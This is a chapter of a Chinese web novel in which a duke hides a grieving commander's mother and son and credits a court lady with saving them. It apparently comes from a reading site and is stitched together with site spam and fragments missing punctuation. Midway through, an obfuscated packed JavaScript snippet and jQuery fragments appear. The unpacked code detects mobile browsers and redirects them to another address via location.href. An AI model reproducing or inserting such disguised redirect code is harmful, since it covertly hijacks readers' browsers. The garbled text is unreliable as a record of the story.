第547章 要谢就谢裴女官吧

作品:《妄揽春欢

    “金银于我并非必需。”


    “以你的性子妻妾儿女的后事定然尽心想必也会在佛寺为她们点起长明灯。待一切尘埃落定往后奉养老母、抚育幼子用钱之处尚多。”


    “至于你的老母与幼子……”


    “你应知道我荣家根基在扬州。”


    “扬州景色秀美、文风鼎盛本是老人静养、孩童启蒙的上选。若在平日我理应将他们送往扬州妥善安置。但如今淮南要起动荡恐将波及江南此时南下未必安稳。”


    “除扬州外荣家势力最深便在北方。”


    “但你身为京畿卫指挥使近来对北疆风声应有所耳闻。”


    “况且北地风沙凛冽老人与孩童年幼体弱骤然而去只怕水土难服若因此抱恙反是我照顾不周。”


    “依我之见有时最危险之处反倒最易藏身。”


    “城西平宁坊住着一位陈姓寡妇其夫原是北疆旧部。她为人勤恳厚道膝下无子必会视你母亲如亲长待你幼子如己出。”


    “当然这不过是我一人所想。你若另有安排


    “毕竟他们是你至亲终须由你定夺。”


    赵指挥使眉心忍不住跳了跳惊疑不定道:“淮南要生乱?”


    荣妄并不遮掩目光平静地看着赵指挥使:“你日后即将追随秦王左右而秦王又与前任禁军大统领结为盟友。这些事你早晚会知道。”


    “不错乱局将至。”


    “即便朝廷此刻已在布局防范亦不可能将这场风波全然压下不留一丝涟漪。”


    “既有动荡便难免伤亡。”


    “此乃定数无可转圜。”


    “你可将淮南视作一锅将沸未沸的水便好。”


    赵指挥使眼中疑虑尽散当即拱手道:“那便将末将的老母与幼子托付于平宁坊。”


    “末将深信国公爷的筹谋。”


    “日后纵有万一末将也明白国公爷已竭尽所能。断不会做那忘恩负义、恩怨颠倒之徒。”


    “请国公爷放心。”


    “还有……”赵指挥使抿了抿唇鼓起勇气道:“末将愚见淮南不只是一锅将沸未沸的水倘若有人能预判风起之地早早移开要紧的柴薪或将火苗……引向该燃之处。那么该保全的或许就能保全而该死的也一个都不会少。”


    荣妄眼中掠过一丝赞许:“赵指挥使果真有真本事也有真见识。”


    “传


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    闻那些话,倒是小看你了。


    赵指挥使缓缓摇头:“真正‘闻名不如见面’的,该是国公爷您。


    若非今日亲眼得见,他恐怕还要以为,这位荣国公当真只是个置身事外、唯恐天下不乱的纨绔子弟。


    不过是命好,投生在了锦绣堆里罢了。


    荣妄抬手止住了他的话头:“不必说这些。我的名声如何,自己心里清楚。何况名声终究是身外之物,于我而言,最不要紧。


    说到此,他转向一旁的紫檀木圆桌,上面已摆好几样清淡小菜与粥点。


    “想来你也一天没吃东西了。


    “这些都是吩咐人准备的,素净无荤,你先用些,提提精神。


    “待会儿我再让人领你去见你母亲和孩子。这样,你的心才能真正落定。


    见赵指挥使要开口,荣妄轻轻摆了摆手,继续道:“别急,也别推辞。你母亲和孩子都受了不小的惊吓,只有你先稳住心神,他们见了你,才能真的安心。


    赵指挥使深深吸了口气,再度抱拳:“多谢国公爷。


    荣妄却摇了摇头:“不必谢我。


    “要谢,就谢你自己,谢你当年在京郊猎场,没有跟着众人低头。


    赵指挥使心念一动。


    原来……那件事真的发生过,不是他记忆模糊后的臆想。


    荣妄的语调很平静,仿佛在说一件再寻常不过的旧事:“那日我看见了。


    “你见那勋贵纵马踏伤农户,甚至差点踩到农户的小孙子,却还要继续追鹿……


    “你那时握着刀,手背上的青筋都突了起来,是想站出来阻止的,对吗?


    赵指挥使苦笑着摇头:“让国公爷见笑了。


    “末将……终究还是没有鼓起那个勇气。


    荣妄看着赵指挥使,语气里透出一份难得的通达:“心有余而力不足,和存心落井下石,本就是两回事。


    “我本就不是那等……强求别人做圣人的性子。


    话音落下,荣妄屈指在桌面上轻叩两声。


    门应声而开,走进一个穿着灰布短打的青年。


    这人相貌寻常至极,是那种看过便会忘记的长相。


    荣妄吩咐道:“等赵指挥使用过饭,你带他去静园那边。


    “是。来人垂首应下,声音不高不低。


    荣妄这才又转向赵指挥使:“上京城里,各路人马盯着我这边的也不少。况且,我还需进宫一趟,接老夫人回府,便不在此久留了。


    你的朋友正在书荒,快去帮帮他吧


    他心知肚明老夫人说要留宿宫中不过是个托词。


    实则是要避开他与桑枝独自同陛下叙话罢了。


    赵指挥使嘴唇动了动终究还是将压在心底的话问了出来:“影卫在皇陵出现得那般及时陛下又这么快知道我赵家遭遇灭门的真相……是不是荣老夫人进宫为我赵家说了话?”


    陛下日理万机虽说有暗中的势力作为陛下的眼睛和耳朵监察百官但也不可能家家户户日夜盯着。像他这般处事圆滑、平日与人为善、从不冒尖的老好人更不值得耗费太多心神去盯着。


    “是。”荣妄微微颔首“你是该谢老夫人。”


    “但你最该谢的人是永宁侯府的裴女官。”


    “我之所以能赶在秦王暗卫出城前将人拦下救回你的母亲和孩子全因裴女官辛苦安插在护陵卫中的眼线


    “事后她曾叹惋终究……还是迟了一步。”


    “你若真要择一人报恩便选她吧。”


    “是她保全了你的至亲也是她给了你回头是岸的机会不至于彻底沦为秦王手中那把再也洗不净的刀。”


    “饭菜快凉了先用膳吧。”


    “本国公先行一步。”


    赵指挥使怔了怔。


    裴女官……


    那个从去岁起便在上京流言蜚语里未曾断绝的名字。


    也是他妻妾口中时常提起的、难得的聪慧人。


    心思缜密偏生又纯善知百姓疾苦。


    妻子曾不止一次对他说过裴女官从未因她是赤脚大夫的女儿而看轻她对她和妾室们捐出的每一件冬衣、每一份米粮、每一筐炭火都分外珍视。


    妻子还说那是个真真切切……为百姓做实事的人。


    那时他只当是内宅妇人的寻常感慨并未往心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913186|177973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里去甚至曾漫不经心地接过话头:“兴许是裴五姑娘流落在外那些年吃了苦才懂得体恤底下人的不易吧。不过她如今也算苦尽甘来假千金不知所踪她有驸马做倚仗又得荣国公青眼往后的好日子长着呢。你平日多与她走动走动攒几分情面说不定将来也能提携为夫一把。”


    话没说完便被妻子狠狠白了一眼胳膊上还挨了一记不轻的掐拧:“少动这些歪心思!”


    “别让每份温热的东西都变成算计和交易。”


    彼时他还嫌妻子短视嘟囔着回了一句:“这世上哪有不算计的关系?”


    如今想来……


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    他半生精于算计,惯于逢迎,最终却让自己至亲至爱之人,几乎尽数丧于他人的谋算之中。


    赵指挥使沉默良久,终于缓缓转身,对着永宁侯府的方向,深深一揖。


    “救命之恩,末将……铭记于心。”


    随后,赵指挥使在紫檀木圆桌旁坐下。明明该是饥肠辘辘,却感觉不到一丝饿意,更无半点食欲。


    但想起荣国公的话,他还是缓缓夹起一筷子青菜,放进嘴里,慢慢地咀嚼,然后咽下。


    食物落入胃里,那股一直萦绕不散的冰冷虚浮感,似乎稍微踏实了一点。


    青菜,白菜,各种各样的菜……


    在他混出个名堂后,便最是不喜这些东西。好像非得大鱼大肉,才对得起这一路的摸爬滚打。


    妻妾们总顾及他的身子,变着法子劝他多吃些菜。


    他那时……到底还是脱不了那点“小人乍富”的心气。


    过去那些听着嫌烦的唠叨,恨不得躲出去的场景……


    终究是再也,再也回不去了。


    他要活下去。


    他的老母和幼子,也要活下去。


    他还要为他的妻妾、为他的儿女们,讨回血债。


    眼泪混着青菜的微涩,一筷一筷,被他用力咽了下去。


    “我吃好了,”赵指挥使看向候在一旁的无涯,声音已恢复平静,甚至带着一丝过分的谦卑,“还请引路。”


    来人应道:“是。”


    “大人请随我来。”


    两人依旧从云霄楼那扇鲜有人知的小门悄然离开,登上候在暗处的马车。


    车轮辘辘,在寂静的街道上行了两刻钟。


    马车稍停了一瞬,只听得大门“吱呀”开启的声响,随即又继续向前,行了片刻,才终于稳稳停住。


    “到了。”


    那人掀起车帘。


    “大人请进,我就在外候着。”


    明明渴盼着见到老母和幼子。


    此刻的赵指挥使,却莫名生出一种近乡情怯的惶然。


    他静静立在门外,手指在冰凉的门板上悬停了许久,仿佛用尽了全身力气,才终于将那扇门推开。


    门轴发出轻微的“吱呀”声,在这过分寂静的院落里显得有些刺耳。


    屋内陈设简单,却处处透着精心打理的痕迹。


    他的老母头发花白,身形佝偻,正呆呆地坐在床沿,眼神空茫地望着前方的虚无。


    听见门响,她猛地一颤,迟缓地转过头来。


    昏花的老眼在昏暗的光线里费力辨认了片刻,依然未能看清,她的嘴唇翕动了几下,最终只发出一个极其干哑的声音:“是……我儿吗?”